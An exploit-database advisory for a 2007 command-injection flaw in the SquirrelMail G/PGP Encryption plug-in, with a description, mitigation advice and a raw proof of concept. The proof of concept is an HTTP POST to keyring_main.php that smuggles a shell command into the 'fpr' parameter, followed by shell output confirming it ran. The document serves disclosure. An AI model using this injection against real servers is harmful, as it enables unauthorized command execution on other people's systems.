SquirrelMail G/PGP Encryption Plug-in Remote Command Execution Vulnerability

vendor:

SquirrelMail G/PGP Encryption Plug-in

by:

jmp-esp

7.5

CVSS

HIGH

Remote Command Execution

CWE

Product Name: SquirrelMail G/PGP Encryption Plug-in

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2007

SquirrelMail G/PGP Encryption Plug-in Remote Command Execution Vulnerability

There is a vulnerability in the keyring_main.php file of the SquirrelMail G/PGP Encryption Plug-in that allows remote command execution. The 'fpr' parameter is not properly escaped, allowing an attacker to execute arbitrary commands on the target system.

Mitigation:

To mitigate this vulnerability, it is recommended to update to the latest version of the SquirrelMail G/PGP Encryption Plug-in and ensure that input parameters are properly validated and sanitized.

Source

Exploit-DB raw data:

SquirrelMail G/PGP Encryption Plug-in Remote Command Execution Vulnerability

Bugtraq ID: 24782

-----------------------------

There are various vulnerabilities in this software! One is in
keyring_main.php!
$fpr is not escaped from shellcommands!

testbox:/home/w00t# cat /tmp/w00t
cat: /tmp/w00t: No such file or directory
testbox:/home/w00t#

***@silverlaptop:~$ nc *** 80
POST /webmail/plugins/gpg/modules/keyring_main.php HTTP/1.1
Host: ***
User-Agent: w00t
Keep-Alive: 300
Connection: keep-alive
Cookie: Authentication Data for SquirrelMail
Content-Type: application/x-www-form-urlencoded
Content-Length: 140

id=C5B1611B8E71C***&fpr= | touch /tmp/w00t |
&pos=0&sort=email_name&desc=&srch=&ring=all&passphrase=&deletekey=true&deletepair=false&trust=1

...

testbox:/home/w00t# cat /tmp/w00t
testbox:/home/w00t#

So we just executed 'touch /tmp/w00t'!

WabiSabiLabi tries to sell the exploit for 700 Euro! ;)
lol @ WabiSabiLabi!

Greets:

oli and all members of jmp-esp!


jmp-esp is looking for people who are interested in IT security!
Currently we are looking for people who like to write articles for a
German ezine or are interested in exchanging informations, exploits...

IRC: jmp-esp.kicks-ass.net / 6667 or 6661 (ssl)
    #main

# milw0rm.com [2007-07-11]